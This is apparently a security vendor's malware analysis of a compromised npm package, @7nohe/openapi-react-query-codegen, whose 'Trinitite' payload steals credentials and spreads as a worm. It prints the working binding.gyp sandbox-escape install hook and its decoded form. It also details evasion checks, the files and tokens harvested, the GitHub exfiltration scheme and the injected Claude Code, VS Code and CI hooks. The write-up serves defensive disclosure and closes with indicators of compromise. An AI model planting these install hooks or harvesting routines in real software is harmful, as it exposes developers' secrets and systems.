It has only been a day since we heard the news of TeamPCP members being arrested in Australia, and we have now detected a new TeamPCP-like malware hitting 10 versions of a popular npm package called @7nohe/openapi-react-query-codegen (+150,000 weekly downloads). These versions were all published to npm in a span of 20 minutes. The package in question generates type-safe TanStack Query hooks directly from an OpenAPI schema, saving developers from writing boilerplate code by hand.
The malware calls itself "Trinitite: Sponsored by Preview 2 Effects". Trinitite is the glassy material left on the desert floor after a nuclear detonation. Earlier versions of the payload referenced a script literally named is_it_this_simple.js, which about sums up the attitude.
Whether we are dealing with a copycat, an ex-member who escaped the arrests, or a completely separate threat actor remains unclear. Whoever is behind this attack clearly shares their taste for the theatrical with TeamPCP.
Both the npm package and its corresponding GitHub repository appear to have been compromised. The attacker gained access by exploiting a vulnerability in one of the project's GitHub Actions workflows. Therefore, all releases come with valid provenance attestations. These are cryptographic certificates proving the package was built by the official GitHub Actions workflow. However, when the workflow itself is compromised, that certificate becomes an unreliable trust signal.
The binding.gyp sandbox escape
The initial execution hook is binding.gyp, a file normally used to configure native Node.js addon compilation. I was somewhat surprised to see this particular trick being used here, given that I reported on this vulnerability class earlier this year. The technique appears to be catching on.
When npm install processes a package containing a binding.gyp, it invokes node-gyp to compile the native module. node-gyp evaluates the conditions field in the file using Python, which means arbitrary Python expressions can be placed there and they will be executed during install, even without any preinstall script declared in package.json.
The binding.gyp in this package looks like this:
{
"variables": {
"var": "Frot",
},
"conditions":[
["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == u'\\U00000063\\U00000061\\U00000074\\U00000063\\U00000068\\U0000005f\\U00000077\\U00000061\\U00000072\\U0000006e\\U00000069\\U0000006e\\U00000067\\U00000073'][0]()._module.__builtins__[u'\\U0000005f\\U0000005f\\U00000069\\U0000006d\\U00000070\\U0000006f\\U00000072\\U00000074\\U0000005f\\U0000005f'](u'\\U0000006f\\U00000073').system(u'\\U0000006E\\U0000006F\\U00000064\\U00000065\\U00000020\\U00000033\\U00000046\\U00000057\\U00000043\\U00000076\\U0000007A\\U00000064\\U00000075\\U00000059\\U0000005A\\U00000067\\U0000002E\\U0000006A\\U00000073') == 0x00", {}],
],
"targets": [
{
"target_name": "<(var)",
"type":"\x6e\x6f\x6e\x65",
"sources": ["dog.c"],
}
]
}The condition expression is a Python sandbox escape using the catch_warnings class, accessed by walking the class hierarchy from (). Once decoded, the Unicode and hex escapes resolve to this:
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node 3FWCvzduYZg.js')It finds the catch_warnings class through Python's internal subclass tree, uses it to access __builtins__, imports os, and calls os.system() to run the main payload with Node. The type field is hex-encoded none so no actual native build is attempted, and the target name Frot is meaningless. The whole file exists solely to execute one shell command.
It is worth noting that not all compromised versions use this trick. The two prerelease versions use a straightforward preinstall script instead. 0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab runs node nu.js directly. 0.0.0-365d4eb738d3146583431948d3ba6e27a32556be downloads Bun via wget piped to bash and then runs is_it_this_simple.js.
That said, subsequent compromised versions doubled down and added both vectors at once, pairing the binding.gyp trick with an explicit "preinstall": "node 3FWCvzduYZg.js" script for good measure.
Obfuscation and sandbox evasion
3FWCvzduYZg.js is a 5.4 MB single-line file sitting in the package root. The file uses four layers of encryption. The outermost layer is a 1.6-million-element integer array, XOR'd with key 29. That decrypts to a script that downloads the Bun runtime silently (as trinnyyyy-XXXXX in the system temp directory) and uses it to run the real payload, which is AES-128-GCM encrypted inside. The inner payload is a further 800 KB of obfuscated JavaScript using a custom shuffled-table cipher on top of standard obfuscator.io transforms. Fully decrypted and deobfuscated, it contains a credential harvester, a worm, and a destructive command.
Before doing anything, the payload checks several conditions and exits silently if any of them match:
- The system locale is Russian (checks
Intl.DateTimeFormat,LC_ALL,LC_MESSAGES,LANGUAGE,LANG) - CrowdStrike, SentinelOne, or CarbonBlack directories are present
- The working directory starts with
/tmp/npm-safe/or/opt/hscan-supplychain-dynamic/ - Environment variables contain known fake credential prefixes used by security scanners (
AKIAFAKE,npm_F4k3NPMToken,sk-ant-api03-fake,ghp_decoyGitHubToken) - The
GITHUB_REPOSITORY_OWNERis one of several known security research accounts (actions-security-demo,h0x0er,varunsh-coder,rohan-stepsecurity) - The StepSecurity harden-runner tool is active
What it steals
The payload targets a broad range of credentials, across cloud platforms, developer tools, and local files.
GitHub tokens
Scans for classic PATs (gh[op]_...) and fine-grained tokens (github_pat_...) in environment variables and local files. On GitHub Actions runners it also requests an OIDC token via ACTIONS_ID_TOKEN_REQUEST_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL.
npm, PyPI, and RubyGems tokens
Reads ~/.npmrc and scans for additional .npmrc files. Extracts bearer tokens and validates them against registry.npmjs[.]org/-/whoami. Targets PyPI tokens (pypi-AgEIcHlwaS5vcmcCJ...) and RubyGems tokens (rubygems_...) by the same method.
AWS credentials
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY,AWS_SESSION_TOKEN, and ten related environment variables~/.aws/credentialsand~/.aws/config- EC2 Instance Metadata Service at
169[.]254[.]169[.]254, trying IMDSv2 first - ECS container metadata endpoint at
169[.]254[.]170[.]2 - Calls
sts:GetCallerIdentityto verify credentials before exfiltrating
Azure credentials
AZURE_CLIENT_ID,AZURE_CLIENT_SECRET,AZURE_TENANT_ID, and federated token file- Azure IMDS managed identity endpoint
- Accesses Azure Key Vault, Azure Resource Manager, and Microsoft Graph API once authenticated
GCP credentials
GOOGLE_APPLICATION_CREDENTIALSservice account JSON file- GCP metadata server at
metadata[.]google[.]internal - Google Secret Manager once a token is obtained
HashiCorp Vault
VAULT_TOKEN_FILE,VAULT_TOKEN_PATH,VAULT_ADDR,VAULT_API_TOKEN- Enumerates secrets via
/api/v1/system/me,/secrets,/api/v1/namespaces
Kubernetes
- Service account token at
/var/run/secrets/kubernetes.io/serviceaccount/token KUBECONFIGand~/.kube/config/etc/rancher/k3s/k3s.yaml
Filesystem scan (150+ glob patterns)
- All SSH private keys:
~/.ssh/id_rsa,~/.ssh/id_ed25519,~/.ssh/id_ecdsa,~/.ssh/id_dsa,~/.ssh/id* ~/.docker/config.json,/root/.docker/config.json.env,.env.local,.env.production~/.git-credentials,~/.gitconfig,~/.config/git/credentials~/.npmrc,~/.pypirc,~/.cargo/credentials.toml,~/.terraform.d/credentials.tfrc.json~/.bash_history,~/.zsh_history,~/.node_repl_history- Crypto wallets:
~/.ethereum/keystore/*,~/.monero/*, Ledger Live, Exodus - Messaging session data: Signal, Telegram Desktop, Discord, Slack, Element
- VPN configs: NordVPN, OpenVPN, ProtonVPN, CyberGhost, Windscribe, PIA
- Claude AI:
~/.claude.json,~/.claude/*,~/.claude/projects/*,~/.claude/mcp.json - JFrog Artifactory domains and tokens
Exfiltration
Once credentials are collected, the payload needs a GitHub repository to upload them to. As with previous Miasma-like attacks, it first searches GitHub's public commit history for commits whose message matches "IfYouRevokeThisTokenYourABadUser:{encrypted_token}". It decrypts the embedded token and uses that account to create the exfil repository. This means stolen data from one victim ends up in a repo owned by a different user.
The repository name is generated by combining two randomly chosen Touhou Project character names with a random number, for example cirno-marisa-74291 or reimu-kogasa-12048. The repository description is set to "Trinitite: Sponsored by Preview 2 Effects", which is how you can identify exfiltration repos in the wild:

The stolen credentials are committed as encrypted JSON files named doubletrinnys-{counter}-{timestamp}.json inside a results/ directory. Each file contains two fields: envelope, the encrypted credential bundle, and key, the encryption key itself encrypted with the attacker's RSA public key. Only the attacker, holding the corresponding private key, can decrypt the contents. The data sits in plain sight on public GitHub repositories but is unreadable to anyone else. Interestingly, most commit messages simply read "meow meow meow".
Worm propagation
Trinitite uses stolen tokens to spread itself to other packages and repositories.
npm, PyPI, and RubyGems
With a stolen npm token, the payload calls registry.npmjs[.]org/-/npm/v1/tokens to find the publish token with the highest privilege level, then queries /v1/search?text=maintainer:{user} to enumerate every package that maintainer owns. It fetches the current tarball for each package, injects a new binding.gyp containing the same Python sandbox escape, drops in a copy of 3FWCvzduYZg.js, and publishes a new version. The same pattern applies to PyPI (via upload.pypi[.]org/legacy/) and RubyGems (via rubygems[.]org/api/v1/gems). All publish requests use {tls: {rejectUnauthorized: false}} to bypass certificate pinning.
GitHub repository poisoning
With a stolen GitHub token, the payload enumerates every accessible repository and branch, skipping branches prefixed with release/, dependabot/, renovate/, and copilot/. For each branch it commits the following files:
.vscode/tasks.jsonwith a backdoored task runner configuration.claude/settings.jsonwith aSessionStarthook that executessetup.mjsevery time a developer opens the project in Claude Code.claude/setup.mjscontaining the secondary payload.vscode/setup.mjscontaining the same.github/workflows/codeql.yml, a fake CodeQL security workflow that doubles as a backdoor.gemini/settings.json,.cursor/rules/debug.mdc,.codex/config.toml,.opencode/plugins/setup.js
Every commit is authored as github-actions with the message "chore: update dependencies" and a skip-checks:true trailer to bypass required status checks.
How Aikido detects this
If you are an Aikido user, check your central feed and filter on malware issues. This will surface as a 100/100 critical issue. Aikido rescans nightly, but we recommend triggering a manual rescan now.
If you are not yet an Aikido user, you can create an account and connect your repos. Our malware coverage is included in the free plan, no credit card required.
For broader coverage across your whole team, Aikido's Device Protection gives you visibility and control over the software packages installed on your team's devices. It covers browser extensions, code libraries, IDE plugins, and build dependencies, all in one place. Stop malware before it gets installed.
For future protection, consider Aikido Safe Chain (open source). Safe Chain sits in your existing workflow, intercepting npm, npx, yarn, pnpm, and pnpx commands and checking packages against Aikido Intel before install.
Indicators of compromise (IOCs)
Package versions
@7nohe/openapi-react-query-codegen@0.5.4@7nohe/openapi-react-query-codegen@0.5.5@7nohe/openapi-react-query-codegen@1.6.3@7nohe/openapi-react-query-codegen@1.6.4@7nohe/openapi-react-query-codegen@2.2.1@7nohe/openapi-react-query-codegen@2.2.2@7nohe/openapi-react-query-codegen@3.0.3@7nohe/openapi-react-query-codegen@3.0.4@7nohe/openapi-react-query-codegen@0.0.0-365d4eb738d3146583431948d3ba6e27a32556be@7nohe/openapi-react-query-codegen@0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab
Files
3FWCvzduYZg.jspresent in the package root- SHA256:
8e5d1af68ca340ae0c6e8132cb00c686ec2d60502c1994d94ce353d1472ad5a3 - SHA256:
b49afb7dba04cd99b357ce7c652c823a3707f28e130bd5c6645851a7adc030d6 - SHA256:
59370c67b54a0ccaedd265e2356f04540b2fba1e1845300ef6de4d5437d99380 - SHA256:
778d6f0058045d6a2ab9a7e1d3e3be8e7e6b4d9cc217d13949bf1dfbab759a7c - SHA256:
b24d121667f21f492cb9db34fbfd515d5922a8dd30b9c45215c7220abbb10ca8 - SHA256:
e1f1162ece9a6e6ea21a20399cbf31c563a8149d433a68711f4223870c203d5a - SHA256:
b6012b2ff87f08f93ee53921c48db907ddbcf5461b03bb988083b01a36886237 - SHA256:
709af2fdeb50324229e94c44c679a0fab18bd8e17d3864405989c526cbb63ad8
- SHA256:
- Temp directories named
trinnyyyy-followed by 6 random alphanumeric characters (e.g.trinnyyyy-a3f9k2) in the system temp folder

